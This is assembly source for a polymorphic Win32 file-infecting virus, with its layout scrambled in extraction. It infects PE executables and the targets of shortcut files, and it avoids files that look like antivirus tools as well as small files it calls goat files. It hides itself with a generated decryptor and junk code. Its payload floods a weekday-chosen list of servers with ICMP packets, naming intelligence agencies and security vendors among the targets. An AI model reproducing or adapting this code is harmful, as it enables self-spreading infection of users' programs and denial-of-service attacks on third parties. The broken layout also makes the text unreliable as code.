Get the Pointer Table Set Pointer to the next api 2000h test next API
; clear stack ( we don't want buffer overflows ; ok, we want them, but not here *bg* )
movzx eax, word ptr [ebp+counter] shl eax, 1h ; multiply eax with ; Make eax Point to ; Ordinal Table add eax, dword ptr [ebp+OTableVA] xor esi, esi ; clear esi xchg eax, esi ; make esi point to lodsw ; get Ordinal in AX shl eax, 2h ; eax * 4 add eax, dword ptr [ebp+ATableVA] mov esi, eax ; esi points to the lodsd ; eax = address RVA add eax, [ebp+MZAddy] ; Make it VA ret NotFoundApi1: xor eax, eax ret
2 the right entry inside the
the entry
address RVA
; Return with API-Addy in eax
; We didn't find the API we need :( ; We set EAX to 0 to show we have to ; return to the host..
; *************************************************************************** ; -------------------[ Execute the original Program ]-----------------------; ***************************************************************************
ExecuteHost:
; Here we execute the original program
lea edi, [ebp+curdir] ; we return to the original directory.. push edi call dword ptr [ebp+XSetCurrentDirectoryA] or ebp, ebp jz FirstGenHost
; if this is a virus of the first generation ; we can't return to a host, so we ; stop this with ExitProcess..
Error_ExecuteHost: mov eax, dword ptr [ebp+SEH_Save] push eax mov fs:[0], esp
mov eax,12345678h org $-4 retEIP dd 0h
; here we return to ; the old entry point ; of the infected file
add eax,12345678h org $-4 retBas dd 0h jmp eax
FirstGenHost: push 0h call ExitProcess
; Stop executing this stuff ( first Generation ; only )
OldEIP dd 0h OldBase dd 0h
; Old Entry Point ; Old Imagebase
NewEIP
; New Entry Point ( points to our virus.. )
dd 0h
; *************************************************************************** ; ----------------[ We try to find the Kernel Address ]---------------------; *************************************************************************** GetKernel:
; Here we try to retrieve the Kernel ; set search range mov byte ptr [ebp+K32Trys], 5h
GK1: cmp byte ptr [ebp+K32Trys], 00h jz NoKernel ; Did we pass our limit of 50 pages ? call CheckMZSign jnc CheckPE
; Has this Page a DOS EXE-Header ?
GK2: sub esi, 10000h ; Get the next page dec byte ptr [ebp+K32Trys] jmp GK1 ; Check it CheckPE: mov edi, [esi+3Ch] add edi, esi call CheckPESign jnc CheckDLL jmp GK2 CheckDLL: add edi, 16h mov bx, word ptr [edi] and bx, 0F000h cmp bx, 02000h jne GK2 KernelFound: sub edi, 16h xchg eax, edi xchg ebx, esi cld
; Let's check if we really found ; the Kernel32.dll PE-Header ; check for PE-Sign ; check for the DLL-Flag
; check for the Dll-Flag ; get characteristics ; we need just the Dll-Flag ; if it is no dll go on searching ; ; ; ;
we found the Kernel32.dll set edi to the PE - Header save PE address in eax save MZ address in ebx
ret NoKernel: stc ret
; if not found we don't set the carriage flag ; return if not found
K32Trys
db 5h
; Search-Range
; *************************************************************************** ; -----------------[ Infection of the current directory ]-------------------; ***************************************************************************
InfectCurDir:
; ; ; ;
Here we infect the files in the current directory we use the FindFirstFile - FindNextFile API's to scan all files for PE-Executables and LNK-Files.
lea esi, [ebp+filemask] call FindFirstFileProc inc eax jz EndInfectCurDir1 dec eax
; If there are no files, we return
InfectCurDirFile: ; filename in esi lea esi, [ebp+WFD_szFileName] call InfectFile ; Try to infect it ! cmp [ebp+InfCounter], 0h jna EndInfectCurDir2
; if we infected enough files ; we return
call FindNextFileProc test eax, eax jnz InfectCurDirFile EndInfectCurDir2:
; we close the search - Handle
push dword ptr [ebp+FindHandle] call dword ptr [ebp+XFindClose] EndInfectCurDir1: ret
; we just return
InfCounter db 0h
; ; ; ;
FindHandle dd 0h
; The handle for the FindFirstFile API
filemask
; we search for all files, not just exe files
db '*.*', 0
Counter for the number of files we infect at max in the current directory ( could take too long if we want to infect them all )
; these structures are nessecairy ; for the FindFileFirst - FindFileNext API's ; *************************************************************************** ; ---------------------[ Prepare infection of file ]-----------------------; ***************************************************************************
InfectFile:
cmp byte ptr [esi], '.' je NoInfection
; ; ; ; ;
Here we prepare to infect the file the filename is in [ebp+WFD_szFileName] we open it and check if it is something we are able to infect... esi points to the filename..
; check if we got .. or . ; if the file is smaller than ; 200 Bytes it will not get checked or ; infected !
cmp dword ptr [ebp+WFD_nFileSizeLow], 200d jbe NoInfection ; we also don't infect it if it is too big cmp dword ptr [ebp+WFD_nFileSizeHigh], 0 jne NoInfection call CheckFileName jc NoInfection
; check for AV-Files
; Get File-Attributes lea eax, [ebp+WFD_szFileName] push eax call dword ptr [ebp+XGetFileAttributesA] ; save them mov dword ptr [ebp+Attributes], eax inc eax jz NoInfection dec eax
; if we failed we don't infect
push 80h ; clean attributes lea eax, [ebp+WFD_szFileName] push eax call dword ptr [ebp+XSetFileAttributesA] or eax, eax ; if we fail, we don't open the file jz NoInfection ; if we have no access to set the attributes, ; we will surely not be allowed to change the file itself call OpenFile jc NoInfection
; open the file ; if we failed we don't infect..
mov esi, eax call CheckMZSign jc CheckLNK
; if it is an EXE file, we go on ; otherwise we test if it is a LNK
cmp word ptr [eax+3Ch], 0h je CheckLNK xor esi, esi mov esi, [eax+3Ch]
; get the start of the PE-Header
; if it lies outside the file we skip it cmp dword ptr [ebp+WFD_nFileSizeLow], esi jb Notagoodfile add esi, eax mov edi, esi call CheckPESign jc Notagoodfile
; check if it is an PE-Executable ; check infection mark --> DDoS
; if it is there the file is already infected.. cmp dword ptr [esi+4Ch], 'SoDD' jz Notagoodfile mov bx, word ptr [esi+16h]; get characteristics and bx, 0F000h ; we need just the Dll-Flag cmp bx, 02000h je Notagoodfile ; we will not infect dll-files mov and cmp jne
bx, word ptr [esi+16h]; get characteristics again bx, 00002h ; we check if it is no OBJ or something else.. bx, 00002h Notagoodfile
call InfectEXE
; ; ; ;
ok, infect it ! if there occoured an error while mapping the file again, we don't need to unmap & close it
jc NoInfection jmp Notagoodfile CheckLNK: ; check if we got an LNK-File mov esi, dword ptr [ebp+MapAddress] cmp word ptr [esi], 'L' ; check for sign jne UnMapFile ; if it is no LNK File we close it call InfectLNK Notagoodfile: call UnMapFile
; we store the file.. ; we restore the file-attributes
push dword ptr [ebp+Attributes] lea eax, [ebp+WFD_szFileName] push eax call dword ptr [ebp+XSetFileAttributesA] NoInfection: ret
; *************************************************************************** ; ------------------------[ Open and close Files ]--------------------------; *************************************************************************** OpenFile: xor eax,eax ; let's open the file push eax push eax push 3h push eax inc eax push eax push 80000000h or 40000000h push esi ; name of file call dword ptr [ebp+XCreateFileA] inc eax jz Closed dec eax
; if there is an error we don't infect the file ; now the handle is in eax ; we save it
mov dword ptr [ebp+FileHandle],eax ; if we map a file normal, we map it with the size ; in the Find32-Data ; otherwise it is in ecx mov ecx, dword ptr [ebp+WFD_nFileSizeLow] CreateMap: push ecx
; save the size
xor eax,eax ; we create a map of the file to push eax ; be able to edit it push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] call dword ptr [ebp+XCreateFileMappingA] mov dword ptr [ebp+MapHandle],eax pop ecx test eax, eax jz CloseFile
; get the size again.. ; if there is an error we close the file ; no infection today :(
xor eax,eax ; we map the file.. *bla* push ecx push eax push eax push 2h push dword ptr [ebp+MapHandle] call dword ptr [ebp+XMapViewOfFile] or eax,eax jz UnMapFile
; if there is an error, we unmap it ; eax contains the offset where ; our file is mapped.. *g*
mov dword ptr [ebp+MapAddress],eax ; Clear c-flag for successful opening clc ret UnMapFile:
; we successfully opened it ! ; ok, unmap it
call UnMapFile2 CloseFile:
; let's close it
push dword ptr [ebp+FileHandle] call [ebp+XCloseHandle] Closed: stc
; set carriage flag
ret UnMapFile2:
; we need to unmap it some times, to ; map it again with more space..
push dword ptr [ebp+MapAddress]
call dword ptr [ebp+XUnmapViewOfFile] push dword ptr [ebp+MapHandle] call dword ptr [ebp+XCloseHandle] ret
; *************************************************************************** ; -------------------------[ Infect an EXE-FILE ]---------------------------; *************************************************************************** InfectEXE:
; MapAddress contains the starting offset of the file ; we will not infect exe files, which are smaller than ; 40 Kb, this is for avoiding goat files. ; AV's use them to study viruses !
cmp dword ptr [ebp+WFD_nFileSizeLow] , 0A000h jb NoEXE mov ecx, [esi+3Ch]
; esi points to the PE-Header ; ecx contains file-alignment ; put size in eax
mov eax, dword ptr [ebp+WFD_nFileSizeLow] add eax, dword ptr [ebp+VirLen] call Align ; align it and save the new size mov dword ptr [ebp+NewSize], eax xchg ecx, eax pushad
; ; ; ; ;
save registers we close the file and map it again, but this time we will load it with some more space, so we can add our code *eg*
call UnMapFile2 popad call CreateMap
; we map it again with a bigger size ; if we got an error we return
jc NoEXE ; make esi point to the PE-Header again ; get offset mov esi, dword ptr [eax+3Ch] ; make it VA add esi, eax mov edi, esi ; edi = esi ; eax = number of sections movzx eax, word ptr [edi+06h] dec eax imul eax, eax, 28h ; multiply with size of section header add esi, eax ; make it VA add esi, 78h ; make it point to dir table ; esi points now to the dir-table mov edx, [edi+74h] shl edx, 3h add esi, edx
; get number of dir - entrys ; multiply with 8 ; make point to the last section ; get the Entry Point and save it ; we need it to be able to return
; to the original file mov eax, [edi+28h] mov dword ptr [ebp+OldEIP], eax ; get the imagebase, also needed to ; execute original file mov eax, [edi+34h] mov dword ptr [ebp+OldBase], eax mov edx, [esi+10h]
; size of raw data ; we will increase it later
mov ebx, edx add edx, [esi+14h]
; edx = Pointer to raw-data
push edx
; save it in stack
mov eax, ebx add eax, [esi+0Ch]
; make it VA ; this is our new EIP
mov [edi+28h], eax mov dword ptr [ebp+NewEIP], eax mov eax, [esi+10h] ; get size of Raw-data push eax add eax, dword ptr [ebp+VirLen] ; increase it mov ecx, [edi+3Ch] ; Align it call Align ; save it in the file as ; new size of rawdata and mov [esi+10h], eax pop add add mov
eax ; new Virtual size eax, dword ptr [ebp+VirLen] eax, Buffersize [esi+08h], eax
pop edx mov eax, [esi+10h] add eax, [esi+0Ch]
; New Size of Image ; save it in the file
mov [edi+50h], eax ; change section flags to make ; us have write & read access to it ; when the infected file is run ; we also set the code flag.. ;) or dword ptr [esi+24h], 0A0000020h ; we write our infection mark to the program, ; so we will not infect it twice ; --> DDoS mov dword ptr [edi+4Ch], 'SoDD' push edi ; save them push edx push 10d pop ecx call GetRand
; get random number ( we'll use the EAX value )
pop edi pop edx
; restore and xchange
mov word ptr [ebp+Key], ax push eax ; save it 2 times lea esi, [ebp+Virus] ; point to start of virus add edi, dword ptr [ebp+MapAddress] push edi ; save edi mov ecx, dword ptr [ebp+VirLen] ; get size of virus in ecx rep movsb ; append virus ! pop mov add mov
esi edi, esi esi, NoCrypt ecx, (CryptSize / 2)
pop edx push edi mov edi, esi EnCryptLoop: lodsw not ax inc dx xchg dl, dh xor ax, dx xchg al, ah stosw loop EnCryptLoop
pop add mov mov mov xor
esi esi, ecx, edi, edx, eax,
; decrypt the virus
; get key from stack ; save start
; decrypt with second layer
; let's start decrypting with the second layer ; skip the call ; mov size to ecx
05h FirstLSize esi dword ptr [ebp+CryptType] eax
XorEncrypt: ; we use a simple xor dec edx jnz NegEncrypt mov dl, byte ptr [ebp+PolyKey] @Xor: lodsb xor al, dl stosb loop @Xor jmp EndPolyCrypto NegEncrypt: dec edx jnz NotEncrypt @Neg: lodsb neg al stosb loop @Neg jmp End2LCrypto
NotEncrypt: dec edx jnz IncEncrypt @Not: lodsb not al stosb loop @Not jmp End2LCrypto
; not byte ptr [esi]
IncEncrypt: dec edx jnz DecEncrypt @Inc: lodsb dec al stosb loop @Inc jmp End2LCrypto
; inc byte ptr [esi]
DecEncrypt: lodsb inc al stosb loop DecEncrypt
; dec byte ptr [esi]
End2LCrypto: dec byte ptr [ebp+InfCounter] ; if we succesfully received the dll and the ; function, we create a checksum for the ; file ( needed for dll's and WinNT ) cmp [ebp+XCheckSumMappedFile], 0h je NoCRC lea esi, [ebp+CheckSum] push esi lea esi, [ebp+HeaderSum] push esi push dword ptr [ebp+NewSize] push dword ptr [ebp+MapAddress] call dword ptr [ebp+XCheckSumMappedFile] test eax, eax jz NoCRC
; if this failed we don't save ; the crc
mov eax, dword ptr [ebp+MapAddress] ; eax points to the dos-stub mov esi, [eax+3Ch] ; esi points to PE-Header add esi, eax ; save CRC in header mov eax, dword ptr [ebp+CheckSum] mov [esi+58h], eax NoCRC: ret NoEXE: stc ret
; let's return and close the infected file ; this will also write it to disk !
; *************************************************************************** ; ------------------------[ Infect an LNK-FILE ]----------------------------; ***************************************************************************
InfectLNK:
; ; ; ; ;
if we find a link file, we try to find the file it points to. If it is a EXE File we are able to infect, we do so this will not work with NT-LNK-Files, there we will receive only the Drive, where the file is located
; ok, if a LNK is bigger than 1 Meg, it is none ; we check .. ;) cmp dword ptr [ebp+WFD_nFileSizeLow] , 0400h ja NoLNK
mov mov xor add
esi, ecx, edx, esi,
; get the start addy in esi, and and the size dword ptr [ebp+MapAddress] dword ptr [ebp+WFD_nFileSizeLow] edx ecx ; we start checking at the end of the file ; for a valid filename in it
CheckLoop: cmp byte ptr [esi], 3ah jne LNKSearch inc edx cmp edx, 2d je PointsDetected LNKSearch: dec esi loop CheckLoop
; we detect a filename by the 2 dots ( 3ah = : ) ; in the Drive ; there are 2 times 2 dots, when checking from ; the end of the LNK, we need the 2.nd
; go on searching
; if we end here, we did not find the two dots.. :( NoLNK: ret PointsDetected:
cmp byte ptr [esi+1], 0h je NoLNK
; we found the drive ( two dots ... *g* ) ; esi points to them, now we need to check ; for the start of the name.. ; check if we got an entire path or just a ; single drive ( may happen in NT / 2k )
PointsDetected2: dec esi cmp byte ptr [esi], 0h je NameDetected loop PointsDetected2 jmp NoLNK NameDetected:
inc esi push esi
; ecx still takes care, that we don't ; search too far.. ; nothing found ? return.. ; ; ; ;
ok, esi points now to the name of the file so we try a FindFileFirst to get the information first, we save the information in the WIN32_FIND_DATA then we try to find the file.
; save it
lea esi, [ebp+WIN32_FIND_DATA]
lea edi, [ebp+Buffer] mov ecx, 337d rep movsb lea xor mov rep
; save the old WIN32_FIND_DATA ; and some more data
edi, [ebp+WIN32_FIND_DATA] eax, eax ; clean this field ecx, 337d stosb
pop esi call FindFirstFileProc inc eax jz RestoreLNK dec eax
; If there are no files, we return ; otherwise we save the handle ; ; ; ;
if we went here, we know the file exists esi still points to the filename including the directory, we save this in the win32_Find_DATA field, because the name there contains no path
lea edi, [ebp+WFD_szFileName] mov ecx, 259d ; we just move 259 Bytes, so there is still a ending ; Zero if the name is longer and we just get a simple error ; and not an SEH or some other shit rep movsb lea esi, [ebp+WFD_szFileName] call InfectFile ; esi points to the filename again, so we infect it ;) push dword ptr [ebp+LNKFindHandle] call dword ptr [ebp+XFindClose] RestoreLNK: lea edi, [ebp+WIN32_FIND_DATA] lea esi, [ebp+Buffer] ; restore the old WIN32_FIND_DATA mov ecx, 337d ; and some other data rep movsb ret LNKFindHandle dd 0h
; return to find more files ; here we save the search-handle
; *************************************************************************** ; ---------------------[ The evil Part: the Payload ]-----------------------; ***************************************************************************
PayLoad:
; here we handle the payload of the virus *eg*
cmp dword ptr [ebp+W32Handle],0 jne ExecuteHost cmp dword ptr [ebp+XCreateThread],0 je ExecuteHost ; we better check this, cause this api does not exist in 2k
lea eax, [ebp+SystemTime] ; retrieve current date, time,.. whatever push eax call dword ptr [ebp+XGetSystemTime]
lea esi, [ebp+wDayOfWeek] ; get the day xor eax, eax lodsw shl eax, 2h
; multiply with 4 ; get Target
lea esi, [ebp+TargetTable] add esi, eax lea edi, [ebp+Target_IP] ; write IP to Destination Address Field movsd ; we get a nice target for the payload ; and create a new thread to fulfill it ;) push push push push push push call
offset threadID ; here we save the thread ID 0h 0h offset PingFlood ; here starts the code of the new thread 0h 0h dword ptr [ebp+XCreateThread]
jmp ExecuteHost PingFlood:
; we're finished, so we execute the host-file ; this is the thread of the payload ! ; here are we doing the really evil thingies ;) ; we will start pinging a server ;P
lea eax, [ebp+offset WSA_DATA] push eax ; where is it.. push 0101h ; required version call dword ptr [ebp+XWSAStartup] push push push call
1 ; We want to use the icmp protocoll 3 ; SOCK_STREAM 2 ; Address Format dword ptr [ebp+Xsocket]
mov dword ptr [ebp+ICMP_Handle], eax push 4
; set the options ( timeout, not really ; nessecairy in this case *g* ) lea eax, [ebp+offset Timeout] push eax push 1006h push 0FFFFh push eax call dword ptr [ebp+Xsetsockopt] ; we need to create a checksum for the packet lea esi, [ebp+ICMP_Packet]; nothing serious just some additions push 6 pop ecx xor edx, edx CreateICMP_CRC: lodsw movzx eax, ax add edx, eax loop CreateICMP_CRC movzx eax, dx shr edx, 16d
; we do this for 6 words ; = 12 bytes
; load one ; mov it to eax ( clean upper part of eax ) ; add it to edx ( we just add them all )
; add the lower ( dx ) and the upper part of ; edx together in eax
add eax, edx movzx edx, ax shr eax, 16d add eax, edx
; save ax in edx ; mov upper part of eax to ax ( clean upper part ) ; add old ax to new ax ( add upper part to lower part )
not eax
; eax = - 1 * ( eax + 1 ) ; this is our checksum mov word ptr [ebp+ICMP_CRC], ax
push 16d ; get it out, we send our packet ! lea eax, [ebp+offset Info] push eax push 0 push 12d lea eax, [ebp+offset ICMP_Packet] push eax push dword ptr [ebp+ICMP_Handle] call dword ptr [ebp+Xsendto] CloseSocket: ; close the socket, to stay stable ;) push dword ptr [ebp+ICMP_Handle] call dword ptr [ebp+Xclosesocket] call dword ptr [ebp+XWSACleanup]
jmp PingFlood
; heh that was fun, let's do it again ;)
Timeout Info:
; 10000 ms Timeout ( we don't really care about it *g* )
dd 100000d
dw dw Target_IP db dd ICMP_Packet db db ICMP_CRC dw dd dd dd ICMP_Handle dd TargetTable:
db db db db db db db
62d, 195d, 216d, 216d, 194d, 208d, 205d,
2h 0h 0d, 0d, 0d, 0d 0h ; there we will fill in the target ip address ;) 8h 0h 0h ; for the CRC Calculation of the ping 0h 0h 0h 0h ; the handle of the open Socket ; ; ; ; ;
these are our targets please note again, that i don't want to damage one of these servers ! I choose them because I think that they will stand such an attack if anyone will ever release this into the wild !!!
156d, 146d, 231d ; Sunday 154d, 220d, 34d ; Monday 122d, 8d, 245d ; Tuesday 41d, 20d, 75d ; Wednesday 252d, 6d, 47d ; Thursday 226d, 167d, 23d ; Friday 178d, 21d, 3d ; Saturday
= = = = = = =
www.bundesnachrichtendienst.de French Secret Service ( dgse.citeweb.net ) www.avp.com ( AV ) www.lockdown2000.com www.f-secure.com www.norton.com www.zonelabs.com
; *************************************************************************** ; -------------------------[ Align-Procedure ]------------------------------; *************************************************************************** ; lets align the size..
; eax - size ; ecx - base Align: push edx xor edx, edx push eax div ecx pop eax sub ecx, edx add eax, ecx pop edx ret
; eax - new size
; *************************************************************************** ; --------------------------[ FindFile Procedures ]-------------------------; ***************************************************************************
FindFirstFileProc: lea eax, [ebp+WIN32_FIND_DATA] push eax push esi call dword ptr [ebp+XFindFirstFileA] mov dword ptr [ebp+FindHandle], eax ret FindNextFileProc: lea edi, [ebp+WFD_szFileName] mov ecx, 276d ; we clear these fields ! xor eax, eax rep stosb lea eax, [ebp+WIN32_FIND_DATA] push eax mov eax, dword ptr [ebp+FindHandle] push eax call dword ptr [ebp+XFindNextFileA] ret CheckFileName: pushad lea esi, [ebp+WFD_szFileName] mov edi, esi mov ecx, 260d ConvertLoop: lodsb cmp al, 96d jb Convert cmp al, 123d ja Convert or al, al jz EndConvert sub al, 32d Convert: stosb loop ConvertLoop
; Convert to upper cases
EndConvert: lea edi, [ebp+WFD_szFileName] lea esi, [ebp+FileNames] mov ecx, 3h
FileNameCheck: push ecx mov ecx, 260d
; check for av-names ; i don't want to infect them
CheckON: lodsb repnz scasb or ecx, ecx jnz AVFile pop ecx inc esi loop FileNameCheck jmp EndFileNameCheck
AVFile: mov al, byte ptr [esi] cmp byte ptr [edi], al je GotAVFile
; check if the second char also matches
dec esi jmp CheckON GotAVFile: pop ecx popad stc ret
; clear stack ; set carriage flag
EndFileNameCheck: popad clc ret
FileNames db 'AV' db 'AN' db 'DR'
; we avoid these names ; so we will not infect an AV and ; alert the user
;**************************************************************************** ; ---------------------[ Checks for PE / MZ Signs ]-------------------------; *************************************************************************** ; we check here for PE and MZ signs ; to identify the Executable we want to infect ; I do this a little bit different than usual *g* CheckPESign: cmp dword ptr [edi], 'FP' ; check if greater or equal to PF jae NoPESign cmp dword ptr [edi], 'DP' ; check if lower or equal to PD jbe NoPESign clc ret NoPESign: stc ret CheckMZSign:
; all that's left is PE
; set carriage flag
cmp word ptr [esi], '[M' jae NoPESign cmp word ptr [esi], 'YM' jbe NoPESign clc ret ret ; *************************************************************************** ; ----------------[ Generate a pesudo-random Number ]-----------------------; *************************************************************************** GetRand: ; generate a pseudo-random NR. ; based on some initial registers ; and the Windows - Ontime
push ecx add ecx, eax call dword ptr [ebp+XGetTickCount] add eax, ecx add eax, ecx add eax, edx add eax, edi add eax, ebp add eax, dword ptr [ebp+PolyLen] add eax, dword ptr [ebp+LoopLen] sub eax, esi sub eax, ebx pop ecx add eax, ecx add al, byte ptr [ebp+Reg1] add ah, byte ptr [ebp+Reg2] or eax, eax jne GetOutRand mov eax, 87654321h inc eax GetOutRand: xor edx, edx div ecx
; clean edx ( needed to be able to divide later ) ; Random Numer is in EAX ; RND No. 'till ECX in EDX
ret ; *************************************************************************** ; ----------------------[ Generate a Poly Decryptor ]-----------------------; ***************************************************************************
genPoly: and dword ptr [ebp+PolyLen], 0h push 10h pop ecx call GetRand
; get a random number to start ; and save it as the new key used for all files
mov byte ptr [ebp+PolyKey], al
call GetRegs lea edi, [ebp+PDecrypt]
; here starts the decryptor
call RandJunk
push 2h pop ecx call GetRand
dec edx jz SecondOrder FirstOrder: call GenerateESI call RandJunk call GenerateECX jmp Polypreparefinished
; ; ; ;
we have 3 different ways to put the size in ecx and 3 different ways to get the starting offset in esi divide by 2
; ; ; ;
get a random number to decide what we do first we need these 2 values before we start the decryption loop !
; if edx = 1 we use the second one ; chose the Order
; esi comes first and ecx follows ; and 4 different ways to get size in exc ; so there is nothing static here !
SecondOrder: call GenerateECX call RandJunk call GenerateESI
; ecx comes first and esi follows
Polypreparefinished:
; ; ; ; ;
we finished the preparing and can start the loop we need a xor byte ptr [esi], key ( or other crypto ) inc esi / add esi, 1h loop Decryptor / dec ecx , jnz Above ..
; lenght of loop = 0 and dword ptr [ebp+LoopLen], 0 ; now we choose the way we crypt this thing ! push 5h pop ecx call GetRand mov dword ptr [ebp+CryptType], edx XorDecrypt: dec edx jnz NegDecrypt mov ax, 3680h stosw
; we use a simple XOR BYTE PTR [ESI], KEY
; xor byte ptr [esi]
mov al, byte ptr [ebp+PolyKey] stosb ; increase sizes ( we will add the last 2 bytes later ) add dword ptr [ebp+LoopLen], 1h add dword ptr [ebp+PolyLen], 1h jmp EndPolyCrypto NegDecrypt: dec edx jnz NotDecrypt mov ax, 1EF6h
; neg byte ptr [esi]
stosw jmp EndPolyCrypto NotDecrypt: dec edx jnz IncDecrypt mov ax, 16F6h stosw jmp EndPolyCrypto
; not byte ptr [esi]
IncDecrypt: dec edx jnz DecDecrypt mov ax, 06FEh stosw jmp EndPolyCrypto
; inc byte ptr [esi]
DecDecrypt: mov ax, 0EFEh stosw
; dec byte ptr [esi]
EndPolyCrypto: ; add the last 2 bytes add dword ptr [ebp+LoopLen], 2h add dword ptr [ebp+PolyLen], 2h call RandJunk
; more junk.. ;) ; now we need to increase esi ; to crypt the next byte
push 3h pop ecx call GetRand IncESI1: dec edx jnz IncESI2 mov al, 46h stosb
; do a simple inc esi
jmp EndIncESI IncESI2: dec edx jnz IncESI3
; add esi, 1h
mov al, 83h stosb mov ax, 01C6h stosw jmp EndIncESI2 IncESI3:
; clc, adc esi, 1h
mov eax, 01d683f8h stosd add dword ptr [ebp+LoopLen], 1h add dword ptr [ebp+PolyLen], 1h EndIncESI2:
add dword ptr [ebp+LoopLen], 2h add dword ptr [ebp+PolyLen], 2h EndIncESI: add dword ptr [ebp+LoopLen], 1h add dword ptr [ebp+PolyLen], 1h call RandJunk
; more, and more.. ; now esi is incremented and we just have to do ; the loop
push 3h pop ecx call GetRand LoopType1: dec edx jnz LoopType2
; we use the most common form : loop ;)
mov al, 0e2h stosb call StoreLoopLen jmp EndLoopType LoopType2: dec edx jnz LoopType3
; we do a dec ecx, jnz
mov ax, 7549h stosw ; correct Loop Size ( dec ecx = 1 byte ) add dword ptr [ebp+LoopLen], 1h call StoreLoopLen add dword ptr [ebp+PolyLen], 1h jmp EndLoopType LoopType3: mov eax, 0F98349h ; stosd add dword ptr [ebp+LoopLen], mov al, 75h ; stosb add dword ptr [ebp+PolyLen], call StoreLoopLen
dec ecx cmp ecx, 0h 4h jne 3h
EndLoopType: add dword ptr [ebp+PolyLen], 2h mov byte ptr [edi], 0C3h ; save the ending ret add dword ptr [ebp+PolyLen], 2h
mov eax, VirusSize ; calculate the new size for the virus add eax, dword ptr [ebp+PolyLen] mov dword ptr [ebp+VirLen], eax ret StoreLoopLen: xor eax, eax mov ax, 100h
; calculate the size for the loop
sub eax, dword ptr [ebp+LoopLen] sub eax, 2h stosb ret ; *************************************************************************** ; --------------------------[ Insert Junk Code ]---------------------------; *************************************************************************** RandJunk: ; edi points to the place where they will be stored ; we will insert 1-8 junk instructions push 7d ; each time this routine is called pop ecx call GetRand xchg ecx, edx inc ecx push ecx
RandJunkLoop: push ecx push 8h pop ecx call GetRand xchg eax, edx
; get a random number from 0 to 7
lea ebx, [ebp+OpcodeTable] xlat ; get the choosen opcode stosb ; and save it to edi xor eax, eax ; clean eax ; get first Register mov al, byte ptr [ebp+Reg1] shl eax, 3h ; multiply with 8 add eax, 0c0h ; add base ; add the second register add al, byte ptr [ebp+Reg2] stosb ; save opcode XchangeRegs: Call GetRegs mov al, byte mov ah, byte mov byte ptr mov byte ptr
; we get new ones and exchange them ; cause the rnd - generator relies on them *g* ptr [ebp+Reg1] ptr [ebp+Reg2] [ebp+Reg1], ah [ebp+Reg2], al
pop ecx loop RandJunkLoop
; restore ecx ; and loop
pop ecx shl ecx, 1
; we need the additional lenght ; multiply with 2 ; save it add dword ptr [ebp+LoopLen], ecx add dword ptr [ebp+PolyLen], ecx
ret OpcodeTable: db 08Bh db 033h db 00Bh
; mov ; xor ; or
db db db db db
02Bh 003h 023h 013h 01Bh
GetRegs:
; ; ; ; ;
sub add and adc sbb
; select two registers to use ; set to Error
pushad mov byte ptr [ebp+Reg1], -1 mov byte ptr [ebp+Reg2], -1 lea edi, [ebp+Reg1] mov ecx, 2 ; now we choose 2 registers we use NextReg: push ecx push 8h pop ecx call GetRand pop ecx cmp edx, 1h je NextReg cmp edx, 4h je NextReg cmp edx, 6h je NextReg mov al, dl stosb loop NextReg
; to make the junk code look realistic
; we will not use ECX ; ESP ; or ESI, cause these values are important ; for the decryptor or the virus to work. ; save it
popad ret ; *************************************************************************** ; -------------------------[ Get esi from stack ]---------------------------; *************************************************************************** GenerateESI: ; ; ; ; ; push 3h pop ecx call GetRand dec edx
the first thing we do is to get the start of the crypted code, this is simpel, it is our return address, so we get it from stack there are 3 different ways we can do this
; which way to we use ?
jnz ESI2 ESI1: lea esi, [ebp+movESI] ; use the mov esi, [esp] instruction movsw ; 3 bytes long movsb add dword ptr [ebp+PolyLen], 3h jmp EndESI
; get back
ESI2: dec edx jnz ESI3
; we simply pop esi and push it again
mov al, 5eh ; pop esi stosb mov al, 56h stosb ; push esi add dword ptr [ebp+PolyLen],2h jmp EndESI
ESI3: push 5h pop ecx call GetRand xchg eax, edx cmp al, 1h jne ESI3b xor eax, eax ESI3b: mov edx, eax push edx add eax, 58h
; if we got ecx, we use eax
; save edx ; pop a register
stosb pop eax push eax add eax, 50h stosb
; push the value again
mov al, 08bh ; and finally move it to esi stosb pop eax mov al, 0f0h add al, dl stosb add dword ptr [ebp+PolyLen], 4h EndESI: ret
movESI db 8bh, 34h, 24h
; code to retrieve the start of crypt-code ; mov esi, [esp]
; *************************************************************************** ; --------------------------[ Move the size to ECX ]------------------------; *************************************************************************** GenerateECX:
push 3h pop ecx call GetRand inc edx ECX1: dec edx jnz ECX2
; here we put the size of the crypted ; part in ecx
; random Nr in edx ; increase ; use a simple mov
mov al, 0b9h call StoreALValue
; mov
jmp EndECX ECX2: dec edx jnz ECX3 mov al, 068h call StoreALValue
; let's use a push ( value ) ; pop ecx
; push
mov al, 59h ; save the pop ecx stosb add dword ptr [ebp+PolyLen], 1h jmp EndECX ECX3: push -1 pop ecx call GetRand mov eax, VirusSize shl edx, 26d shr edx, 26d sub eax, edx push eax mov al, 0b9h stosb pop eax stosb call StoShrEAX
; mov ecx, Size - X
mov ax, 0c181h stosw xor eax, eax mov al, dl
; add ecx, X
; and the size we need to decrypt
stosb call StoShrEAX add dword ptr [ebp+PolyLen], 11d jmp EndECX
StoreECX: push ax
; finish
; save the mov ; save the register
mov al, 0b8h add al, dl call StoreALValue
; save the mov reg, size
mov al, 03h stosb pop ax add al, 0c8h stosb
; add ecx, reg ; get the chosen register
add dword ptr [ebp+PolyLen], 4h EndECX:
; let's return
ret
StoShrEAX: push 3 pop ecx StoShrEAXLoop: shr eax, 8 stosb loop StoShrEAXLoop ret
; to save dwords backwards
StoreALValue: stosb mov eax, FirstLSize stosb call StoShrEAX
; we store the instruction in al ; and the size we need to decrypt ; eax, size
add dword ptr [ebp+PolyLen], 5h add dword ptr [ebp+LoopLen], 5h ret
; *************************************************************************** ; -------------------[ Data which does not travel ]-------------------------; *************************************************************************** VirusEnd: ; ok, this data will travel, but will be generated ; new on each run PDecrypt:
; ; ; ;
ret db 150d dup (0h)
here will we add the polymorphic decryption routine later, but not included into 1.st generation so we just return
; we keep 150 bytes free, so we have a buffer ; for the poly decryptor
; here we save the data which does not ; travel which each copy of the virus PolyKey PolyLen VirLen LoopLen CryptType
db dd dd dd dd
(?) (?) (?) (?) (?)
; ; ; ; ;
Reg1 Reg2
db (?) db (?)
; here we save the registers we use for the junk ; code
SEH_Save
dd (?)
; We save the original SEH
K32Handle IHLHandle ADVHandle W32Handle
dd dd dd dd
; ; ; ; ;
(?) (?) (?) (?)
XLoadLibraryA XGetProcAddress
dd (?) dd (?)
